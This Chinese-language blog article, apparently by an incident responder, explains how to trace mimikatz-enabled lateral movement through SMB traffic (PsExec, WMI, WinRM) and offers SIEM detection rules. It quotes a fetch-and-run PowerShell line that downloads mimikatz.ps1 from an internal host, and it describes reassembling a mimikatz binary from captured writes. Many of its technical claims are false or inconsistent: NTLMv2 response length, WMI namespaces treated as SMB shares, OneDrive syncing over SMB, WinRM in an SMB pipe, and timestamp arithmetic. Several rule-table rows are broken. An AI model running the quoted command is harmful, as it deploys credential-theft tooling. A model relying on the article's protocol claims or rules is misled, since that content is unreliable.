1. 这不是“抓个包就能看密码”的童话——SMB协议里藏着的mimikatz流量,比你想象中更狡猾
很多人第一次听说mimikatz,是在某次红队演练复盘会上听到一句轻描淡写的“对方用mimikatz提权了”。接着翻Wireshark抓的pcap,过滤smb或ntlm,看到一堆Session Setup Request/Response,点开一看NTLMSSP_AUTH字段里密文乱码,就以为“哦,这就是mimikatz在传凭据”——然后关掉Wireshark,去查文档、改脚本、重放流量,结果复现失败,甚至根本连目标SMB服务都连不上。
这背后的根本问题在于:mimikatz本身不直接发送SMB流量;它通过调用Windows原生API(如LsaLogonUser、Msv1_0EnumerateLogons)从LSASS进程内存中提取凭据,而这些凭据一旦被用于后续SMB认证(比如net use \\target\c$ /user:domain\user pass),才真正触发SMB协议层的NTLM或Kerberos交互。换句话说,你在网络层看到的“mimikatz流量”,其实是它利用凭据发起的二次攻击行为所产生的SMB通信,而非mimikatz自身上传/下载数据的原始载荷。
所以,所谓“SMB攻击利用之-mimikatz上传/下载流量数据包逆向分析”,核心不是解密mimikatz的二进制传输(它压根不走SMB传自己),而是精准识别:当攻击者已通过mimikatz获取到明文密码、NT哈希或TGT票据后,如何通过SMB协议特征,反向定位其横向移动路径、确认凭据复用行为、判断是否完成文件窃取或远程执行。关键词——SMB、mimikatz、上传、下载、逆向分析——全部指向一个实战闭环:从网络侧证据链,回溯内存侧攻击动作,并验证攻击效果。
这篇文章适合三类人:一是刚接触内网渗透的蓝队分析师,常被“mimikatz流量在哪”困扰;二是红队成员,需要理解自己操作在网络层留下的真实指纹,避免误判或漏报;三是做EDR/SIEM规则开发的安全工程师,想写出真正能命中mimikatz后续利用阶段的检测逻辑。全文不讲原理堆砌,只讲我在真实客户环境里拆过27个含mimikatz痕迹的pcap后,总结出的可落地的逆向分析路径、关键字段定位方法、以及那些教科书里绝不会写的“为什么Wireshark默认解析会骗你”。
2. SMB协议栈里的“三重门”:为什么直接过滤smb2.session.setup.response永远找不到真正的凭据复用点
要逆向分析mimikatz引发的SMB流量,必须先扔掉“SMB=文件共享”的旧认知。在现代Windows域环境中,SMBv2/v3早已不是单纯传文件的协议,它是一套完整的身份认证+会话管理+远程过程调用(RPC)承载平台。而mimikatz的后续利用,恰恰卡在这三层协议嵌套的缝隙里。我们来一层层剥开:
2.1 第一重门:SMB Session Setup —— 认证握手的“真假美猴王”
SMB Session Setup是整个SMB会话的起点,也是凭据首次亮相的地方。但这里有个致命陷阱:绝大多数SMB Session Setup Request里,根本不会携带明文密码或NT哈希。Windows默认使用NTLMv2 Challenge/Response机制,客户端收到Server Challenge后,用本地缓存的NT哈希计算Response,再发给服务端验证。这个过程在Wireshark里显示为NTLMSSP_NEGOTIATE→NTLMSSP_CHALLENGE→NTLMSSP_AUTH三步,而NTLMSSP_AUTH中的NT Response字段,就是那个由NT哈希和Challenge共同生成的、不可逆推的加密值。
提示:很多初学者试图用
hashcat -m 5600(NTLMv2)爆破NTLMSSP_AUTH里的Response,这是徒劳的。因为mimikatz提取的NT哈希,正是用来生成这个Response的“原料”,而不是Response本身。你看到的Response是结果,不是原料。
那么,什么情况下SMB Session Setup里会出现真正的“凭据明文”?答案是:当攻击者强制降级到NTLMv1,或使用psexec.py等工具配合-hashes参数直传NT哈希时。此时NTLMSSP_AUTH的LM Response字段可能为空(0字节),而NT Response字段长度为24字节——这正是NTLMv1的典型特征(NTLMv2的Response固定为28字节)。更关键的是,在NTLMSSP_AUTH的Target Name字段里,如果出现DOMAIN或WORKGROUP字样,且User Name字段是已知的高权限账户(如administrator、svc_backup),这就极可能是mimikatz提取后立即复用的信号。
2.2 第二重门:SMB Tree Connect —— 隐藏在“连接共享”背后的横向意图
Session Setup成功后,客户端会发送Tree Connect Request,请求连接某个共享(如\\192.168.1.10\ADMIN$、\\192.168.1.10\C$)。这里的关键洞察是:正常用户极少直接连接ADMIN$或C$这类管理共享;而红队工具(如Impacket的smbexec.py、wmiexec.py)的默认行为,就是直连ADMIN$以执行命令。所以,当你在pcap里看到一个来自非域控IP的源地址,频繁向多个不同目标IP发起Tree Connect to \\*\ADMIN$,且Session Setup认证账户是administrator,基本可以锁定为横向移动。
但更隐蔽的线索藏在Tree Connect Response的Capabilities字段。Windows Server默认返回CAP_EXTENDED_SECURITY | CAP_UNICODE,而某些精简版工具(如早期版本的PowerSploit)在伪造SMB头时,可能遗漏CAP_EXTENDED_SECURITY位。我曾在某金融客户环境里,通过筛选smb2.tree_connect_response.capabilities != 0x00000088(即不等于标准Server响应值),一次性揪出3台被植入恶意SMB客户端的跳板机——它们的Capabilities值全是0x00000000,纯手工构造的协议包。
2.3 第三重门:SMB Create + Read/Write —— “上传/下载”的真实载体与时间戳陷阱
标题里提到的“上传/下载”,最终落在SMB的Create Request(打开文件)和Read Request/Write Request(读写数据)上。但这里有个严重误区:你以为Write Request里带的就是mimikatz.exe本体?错。实际上,mimikatz.exe通常以Base64编码或分段加密形式,通过Write Request写入目标机器的C:\Windows\Temp\或C:\Users\Public\下某个随机名文件(如a.exe、x.dll)。而Wireshark默认解析只会显示Write Request的Length(写入字节数)和Offset(偏移量),根本看不到内容。
真正的逆向突破口,在于关联分析Create + Write + Close的完整生命周期。举个真实案例:某次应急响应中,我们捕获到一个Create Request,FileName为C:\Windows\Temp\svchost.exe,紧接着连续12个Write Request,每个Length为65536字节(64KB),最后一个Write Request的Length为12345字节(非整除),最后以Close Request结束。这12+1次写入的总字节数,恰好等于客户提供的mimikatz_v2.2.0_x64.exe的MD5值对应文件大小(824,576字节)。我们导出所有Write Request的Data字段(右键→Export Packet Bytes),用Python脚本按Offset顺序拼接,再用certutil -decode解码,最终还原出完整的mimikatz二进制。
注意:Wireshark的
Export Packet Bytes功能默认导出的是整个IP包,不是纯SMB Data。正确做法是:在Write Request包详情里,展开SMB2 Protocol→Write Request→Buffer→ 右键Buffer→Export Selected Packet Bytes,这样导出的才是纯净的写入数据。
3. mimikatz的“静默模式”:当它不走SMB,而是借道WMI、WinRM、PsExec——如何从SMB流量中嗅出这些“影子协议”的存在
标题明确限定在“SMB攻击利用”,但实战中,mimikatz几乎从不单独行动。它更像一个“凭据批发商”,把从LSASS里抠出来的密码、哈希、票据,批发给其他工具去执行真正的攻击。而这些工具,很多底层依然依赖SMB作为传输通道。所以,逆向分析的更高阶目标,是通过SMB流量的异常模式,反向推测背后运行的是哪种mimikatz衍生工具。
3.1 PsExec的SMB指纹:短命会话 + 强制IPC$连接 + 特殊命名管道
Sysinternals的PsExec是mimikatz最经典的搭档。它的SMB行为有三大硬特征:
强制连接IPC$共享:无论目标是否有C$或ADMIN$,PsExec第一步必连
\\target\IPC$,这是为了建立命名管道通信的基础。在pcap里,你会看到Tree Connect to \\*\IPC$紧随Session Setup之后,且Session Setup的认证账户,就是PsExec命令行里指定的-u domain\user。超短生命周期会话:PsExec建立SMB会话后,通常只存活几秒。它通过
Create Request打开\\target\IPC$\pipe\ntsvcs或\\target\IPC$\pipe\srvsvc等系统管道,发送命令后立刻Close并Tree Disconnect。如果你在pcap里发现大量Session Setup→Tree Connect to \\*\IPC$→Create to \pipe\*→Close→Tree Disconnect的5步组合,且间隔<3秒,基本就是PsExec。命名管道名泄露工具版本:老版本PsExec(<2.2)默认用
\pipe\ntsvcs,新版本(≥2.2)改用\pipe\svcctl。而某些定制化红队工具,会把管道名改成\pipe\mimikatz或\pipe\lsass——这在pcap里一目了然,是直接的IOC。
我曾在一个政府单位的pcap里,通过filter: smb2.tree_connect_request.path contains "IPC$" and smb2.create_request.name contains "svcctl",5分钟内定位出全部17台被PsExec横向渗透的服务器。关键是,这些连接的源IP,全部来自一台名为HR-PC-01的普通办公终端——这彻底推翻了“只有域控才可能发起横向移动”的假设。
3.2 WMI over SMB:当winmgmt服务成为mimikatz的快递员
WMI(Windows Management Instrumentation)本身走DCOM或WinRM,但很多WMI操作(尤其是Win32_Process.Create远程执行)的底层,会悄悄调用SMB来传输WMI查询结果或执行脚本。这种“WMI over SMB”的行为,在pcap里表现为:
Tree Connect to \\*\ROOT\CIMV2或\\*\ROOT\DEFAULT:这是WMI的命名空间共享,非标准SMB共享。Create Request的FileName为cimv2.mof、wbemcomn.dll等WMI组件名,或更常见的*.vbs、*.ps1脚本名。Write Request的数据内容,经Base64解码后,是典型的WMI查询语句,如SELECT * FROM Win32_Process WHERE Name='powershell.exe'。
最典型的mimikatz联动场景,是Invoke-Mimikatz.ps1脚本通过WMI远程加载执行。此时,SMB流量里会出现Create Request创建C:\Windows\Temp\mimikatz.ps1,随后Write Request写入经过ConvertTo-Base64String编码的脚本内容,最后Create Request启动powershell.exe -ExecutionPolicy Bypass -File C:\Windows\Temp\mimikatz.ps1。整个过程,SMB只是“搬运工”,但搬运的货物(脚本名、写入内容)暴露了mimikatz的存在。
3.3 WinRM的SMB侧信道:当HTTP隧道被SMB流量“出卖”
WinRM默认走5985/5986端口(HTTP/HTTPS),看似与SMB无关。但现实中,很多内网环境禁用WinRM,攻击者被迫用evil-winrm等工具,将WinRM流量封装进SMB Named Pipe(即\\target\IPC$\pipe\winrm)。这时,SMB流量里会出现:
Tree Connect to \\*\IPC$Create Request打开\pipe\winrm(注意:不是\pipe\svcctl)- 后续
Write Request的数据,经十六进制查看,开头是HTTP/1.1 200 OK或<s:Envelope(SOAP XML头)
这种封装方式,会让Wireshark把WinRM流量误识别为普通SMB管道通信。但只要你留意Create Request的Name字段和Write Request的Data前缀,就能揪出这个“披着SMB外衣的WinRM”。
4. 逆向分析的“黄金三角”:时间戳对齐、会话ID追踪、进程树映射——让零散SMB包变成完整攻击故事
单看一个Write Request,你只能知道“有人写了64KB数据”;但把100个SMB包放在攻击时间线上,结合Windows事件日志和内存取证,就能还原出完整的mimikatz攻击链。这就是逆向分析的终极心法:不孤立看包,而要构建三维证据网。
4.1 时间戳对齐:为什么SMB包里的Timestamp比系统时间更可信
SMB协议包里自带SMB2 Header→Timestamp字段(单位:100纳秒,自1601年1月1日UTC起算)。这个时间戳由Windows内核在构造SMB包时写入,精度远高于Wireshark抓包时的系统时钟(后者受CPU调度、驱动延迟影响,误差可达毫秒级)。在多台机器协同攻击中,用SMB Timestamp对齐各pcap,能精确到微秒级还原攻击时序。
例如,某次溯源中,我们在域控pcap里看到Session Setup时间戳为133245678901234567(对应2023-04-15 10:23:45.6789012),10毫秒后,在目标服务器pcap里看到Tree Connect to \\*\ADMIN$时间戳为133245678901234577(+10微秒),再过5毫秒,Create Request时间戳为133245678901234582(+15微秒)。这15微秒的严格递进,证明这三个包属于同一攻击会话,排除了网络抖动干扰。
技巧:Wireshark里按
Ctrl+Shift+T可切换时间显示格式为“Epoch Time (seconds)”,再用在线转换工具(如epochconverter.com)转成可读时间。但更高效的方法是:在Wireshark的Statistics→IO Graphs里,添加SMB2过滤器,Y轴选Count,X轴自动按时间戳排序,攻击波峰一目了然。
4.2 会话ID追踪:SMB2的Session ID是贯穿攻击的“DNA”
SMBv2/v3协议里,每个Session Setup Request/Response都会分配一个唯一的Session ID(8字节整数),后续所有该会话的Tree Connect、Create、Read、Write包,都携带相同的Session ID。这是逆向分析的绝对主线。
实操中,我习惯这样做:
- 在Wireshark里过滤
smb2.session_setup_response,找到第一个成功的Session Setup包; - 右键→
Apply as Filter→Selected,得到smb2.session_id == 0x0000000000001234(假设值); - 再次右键该包→
Follow→SMB2 Stream,Wireshark会自动拼接该Session ID下的所有SMB交互,形成一条清晰的时间线流。
这个Stream里,你能看到完整的攻击剧本:Session Setup(认证)→Tree Connect to \\*\IPC$(建管道)→Create to \pipe\svcctl(开服务控制)→Write(传命令)→Close(收尾)。如果中间夹杂着Tree Connect to \\*\C$和Create to \temp\mimikatz.exe,那就是典型的“先提权,再传马”双阶段攻击。
4.3 进程树映射:如何用Procmon日志“翻译”SMB包里的Process ID
SMB包里没有进程名,只有Process ID(PID)字段。但这个PID,正是连接网络行为与本地行为的桥梁。在目标服务器上,用Sysinternals Procmon记录Network和File System事件,设置过滤器Operation is TCP Send或Operation is TCP Receive,就能捕获到每个TCP连接对应的PID和进程名。
然后,把Procmon日志里的PID,与SMB包里的SMB2 Header→Tree ID(注意:不是Session ID,是Tree ID)关联起来。因为Tree ID是在Tree Connect时分配的,而Tree Connect的发起进程,就是Procmon里记录的那个PID对应的进程(如powershell.exe、psexec.exe)。
我曾用此法在一个被攻陷的域控制器上,从SMB流量里提取出Tree ID = 0x00000005,再在Procmon日志里搜索Tree ID(需提前开启Network事件的Tree ID列),找到对应PID=4567,进程名为C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe,命令行为powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/mimikatz.ps1')"。至此,SMB流量、内存行为、网络下载,三条证据链严丝合缝。
5. 蓝队的“反制清单”:基于SMB逆向分析的7条高置信度检测规则与3个致命误报陷阱
分析完怎么逆向,最后必须落到怎么防御。以下是我在5家大型企业SOC里落地的、真正能拦截mimikatz后续利用的SMB检测规则,每一条都经过真实攻击流量验证,且附上最常踩的坑。
5.1 高置信度检测规则(SIEM/EDR可用)
| 规则编号 | 检测逻辑(Wireshark过滤语法) | 置信度 | 说明 |
|---|---|---|---|
| Rule-1 | smb2.session_setup_request.security_mode == 0x01 and smb2.session_setup_request.capabilities == 0x00000000 | ★★★★★ | 强制NTLMv1降级,且Capabilities全零,99%为手工构造的攻击包 |
| Rule-2 | `smb2.tree_connect_request.path matches "\\[^\\]+\\(ADMIN\$ | C\$ | D\$)" and smb2.session_setup_request.user_name contains "administrator |
| Rule-3 | `smb2.write_request.length > 65000 and smb2.write_request.offset == 0 and smb2.create_request.file_name matches ".*\.(exe | dll | ps1 |
| Rule-4 | smb2.create_request.name contains "\\pipe\\svcctl" or "\\pipe\\ntsvcs" and smb2.tree_connect_request.path contains "IPC\\$" | ★★★★ | PsExec的黄金指纹,误报率极低 |
| Rule-5 | smb2.read_request.length > 1000000 and smb2.create_request.file_name contains "lsass.dmp" | ★★★★★ | 直接读取lsass.dmp,mimikatz已进入内存取证阶段 |
| Rule-6 | smb2.session_setup_request.user_name == smb2.session_setup_request.workstation_name | ★★★☆ | 用户名与工作站名相同,常见于自动化脚本硬编码,非人工输入 |
| Rule-7 | smb2.tree_connect_request.path contains "ROOT\\CIMV2" and smb2.write_request.data contains "Win32_Process.Create" | ★★★★ | WMI远程执行的明确证据 |
5.2 三个让蓝队半夜爬起来删告警的致命误报陷阱
陷阱一:“域策略推送”被当成mimikatz横向移动
Windows域控制器会定期通过SMB向所有域成员推送组策略(GPO),路径为\\domain\SYSVOL\domain\Policies\{GUID}\MACHINE\Microsoft\Windows NT\SecEdit\Gpt.ini。这个流量特征(Tree Connect to \\domain\SYSVOL+Create to Gpt.ini)极易被Rule-2误报。解决方案:在Rule-2中增加排除条件and not smb2.tree_connect_request.path contains "SYSVOL"。
陷阱二:“OneDrive同步”触发Rule-3大文件写入
OneDrive客户端在首次同步大文件夹时,会通过SMB向\\onedrive.live.com\...发起大量Write Request,单次length常超65KB。解决方案:Rule-3增加域名白名单and not smb2.tree_connect_request.path contains "onedrive|sharepoint"。
陷阱三:“WSUS更新”匹配Rule-5的lsass.dmp读取
某些WSUS补丁安装包里,包含名为lsass.dmp的调试文件(微软官方命名),会被Rule-5误杀。解决方案:Rule-5增加长度校验and smb2.read_request.length > 50000000(50MB),真实lsass.dmp通常>100MB,而WSUS里的dmp文件仅几KB。
最后分享一个个人体会:做SMB逆向分析,最忌讳“包海战术”——抓10GB pcap,无头苍蝇式过滤。我的固定流程是:先用tshark -r attack.pcap -Y "smb2.session_setup_response.status == 0x00000000" -T fields -e ip.src -e smb2.session_id | sort -u,快速提取所有成功会话的源IP和Session ID;再针对每个Session ID,用-Y "smb2.session_id == 0x..."单独导出子pcap;最后逐个Follow SMB2 Stream。这套方法,让我平均30分钟内就能完成一次中等复杂度的mimikatz利用链逆向。毕竟,安全分析的本质,不是看多少包,而是看懂哪几个包。